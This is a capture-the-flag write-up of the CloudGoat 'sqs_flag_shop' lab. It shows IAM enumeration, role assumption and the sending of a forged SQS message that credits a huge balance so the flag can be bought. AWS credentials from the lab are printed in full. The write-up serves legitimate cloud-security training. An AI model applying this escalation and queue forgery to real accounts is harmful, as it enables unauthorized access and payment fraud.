Warning Spoilers!
This is a write up the CloudGoat scenario sqs_flag_shop and was created by the Best of the Best 12th CGV Team (Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo)
Installation
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.
If your using custom aws profiles use the following command.
./cloudgoat.py config profile
Scenario
The goal of the scenario is to buy FLAG successfully from the shop site.
./cloudgoat.py create sqs_flag_shop
# cg_web_site_ip = http://3.86.15.225:5000
# cloudgoat_output_sqsuser_access_key_id = AKIAZ6IIT5XUVJ456RGO
# cloudgoat_output_sqsuser_secret_key = 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
Launching the scenario took about 8 minutes to complete. I’m going to first look over the web page before the AWS keys.
The following endpoints were found when quickly looking over the site.
GET
http://3.86.15.225:5000/
The main page showing what items can be boughthttp://3.86.15.225:5000/charge
Honestly not sure what this page doeshttp://3.86.15.225:5000/receipt
Shows the recent purchase
POST
http://3.86.15.225:5000/purchase/apple
Buys and applehttp://3.86.15.225:5000/purchase/flag
Buys a flag, fails because user does not have enough moneyhttp://3.86.15.225:5000/charge_cash/10
Adds 10 assets to our balance (also charge_cash/1 and charge_cash/5)http://3.86.15.225:5000/initialize_asset
Resets balance back to 3000
When looking in the source we found a link to maybe the source code https://github.com/RhinoSecurityLabs/cloudgoat/scenarios/sqs_flag_shop/terraform/source/flask
Time to look at the AWS keys
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUVJ456RGO
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUV6XED4M5T",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/cg-sqs-user-sqs_flag_shop_cgids4107y9p0b"
# }
Lets start by enumerating for the users permissions.
aws iam list-attached-user-policies --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b
# None
aws iam list-user-policies --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b
# cg-sqs-scenario-assumed-role
aws iam get-user-policy --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b --policy-name cg-sqs-scenario-assumed-role
# {
# "UserName": "cg-sqs-user-sqs_flag_shop_cgids4107y9p0b",
# "PolicyName": "cg-sqs-scenario-assumed-role",
# "PolicyDocument": {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Action": [
# "iam:Get*",
# "iam:List*"
# ],
# "Effect": "Allow",
# "Resource": "*"
# },
# {
# "Action": "sts:AssumeRole",
# "Effect": "Allow",
# "Resource": "arn:aws:iam::0123456789:role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b"
# }
# ]
# }
# }
The user can get and list iam resources and also assume another role.
Lets first see what access it has before we assume it.
aws iam list-attached-role-policies --role-name cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b
# None
aws iam list-role-policies --role-name cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b
# cg-sqs_scenario_policy
aws iam get-role-policy --role-name cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b --policy-name cg-sqs_scenario_policy
# {
# "RoleName": "cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b",
# "PolicyName": "cg-sqs_scenario_policy",
# "PolicyDocument": {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Action": [
# "sqs:GetQueueUrl",
# "sqs:SendMessage"
# ],
# "Effect": "Allow",
# "Resource": "arn:aws:sqs:us-east-1:0123456789:cash_charging_queue",
# "Sid": "VisualEditor0"
# }
# ]
# }
# }
The role has permission to get and list all related to the SQS resource cash_charging_queue
.
Lets now assume that role.
aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b --role-session-name sqs_send_msg_role
# {
# "Credentials": {
# "AccessKeyId": "ASIAZ6IIT5XU43NIQRU6",
# "SecretAccessKey": "JBkBIwr9uxwExoAXOMyukW1cqg2bikGTmPciXyhM",
# "SessionToken": "IQoJb3JpZ2luX2VjEDoaCXVzLWVhc3QtMSJHMEUCIH6bHO7I2DWzuTWauxUfez2zsTmVl2Xmw7/tq9mA7pv4AiEA0SPa2XluATPxu0ex6blWQH4Eo0k1mkGLTGSi1KTLAooqpwIIkv//////////ARACGgw2ODM0NTQ3NTQyODEiDNJRbwbe3h7z89c58yr7AUGIB3Nj/SrFuBIXKw6Q/ZK2dZs4OUIhy3nVJDTEx8jRBkyVys4KtXOfQlf82ab1S+/h4FOL/knaTxr2q5xVNOMQutGJL6SokA7UuZemUTFOw0F8Dam9c8sl/uQ7NwaKUVYHlsvWW0tAPhp7bl+EQcTnj19OU9+5LdlvZB3BTFCaxlfqYXtz0Wd73FsY6oXKj07oU6ef8+7zhA0v8cBklJq8kCgyrIw8yU2tlQQeWrljRY6eZ+Hlt2MouK8BG0VuZA09Mt5gDqRGRGYDQ/UOrLCmD+lwvXg86Kz1R+86B2/Fdi8VxhMrqY47TRyC1YvM2aG6CDMcpxQM53RmMIb7jasGOp0BmwLMwRFjAd1YJzXIm5AZETbuCEo8LphJyOJbqYI0us33a2BNO/Om/q0Wbe4HAX1lMaUa+3x2oK65IzlmLT6K0CT4WGSslYAKhv2l8s4x+qIuV9ZmDZcEQWv8zc0dAc2c/k3f9YWdjonRVR2usHMlSedvCzzMD9c1lch2S/hpwXWQDxfPonue9x32fE15C+DaKB5WHHBckBg9XRtWJA==",
# "Expiration": "2023-11-26T18:16:54+00:00"
# },
# "AssumedRoleUser": {
# "AssumedRoleId": "AROAZ6IIT5XUUHVLV4LRK:sqs_send_msg_role",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b/sqs_send_msg_role"
# }
# }
In a new terminal session
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU43NIQRU6
export AWS_SECRET_ACCESS_KEY=JBkBIwr9uxwExoAXOMyukW1cqg2bikGTmPciXyhM
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDoaCXVzLWVhc3QtMSJHMEUCIH6bHO7I2DWzuTWauxUfe.....
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUUHVLV4LRK:sqs_send_msg_role",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b/sqs_send_msg_role"
# }
Lets now do some sqs diggin
aws sqs get-queue-url --queue-name cash_charging_queue
# "QueueUrl": "https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue"
aws sqs get-queue-attributes --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --attribute-names All
# An error occurred (AccessDenied) when calling the GetQueueAttributes operation: User: arn:aws:sts::0123456789:assumed-role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b/sqs_send_msg_role is not authorized to perform: sqs:getqueueattributes on resource: arn:aws:sqs:us-east-1:0123456789:cash_charging_queue because no identity-based policy allows the sqs:getqueueattributes action
Lets try adding our own queue messages. Lets see if there is a max we can add to it when hitting it from the sqs queue…
aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --message-body "{\"charge_amount\": 100000000}"
No max amount we can add to our balance, we should now have enough to buy the flag!
Clicking on the order flag it subtracts 100 million, going to the receipt page we can view the flag!
Cleanup
Takes about 20 minutes to destroy the scenario since were using a Lambda attached to the VPC
./cloudgoat.py destroy sqs_flag_shop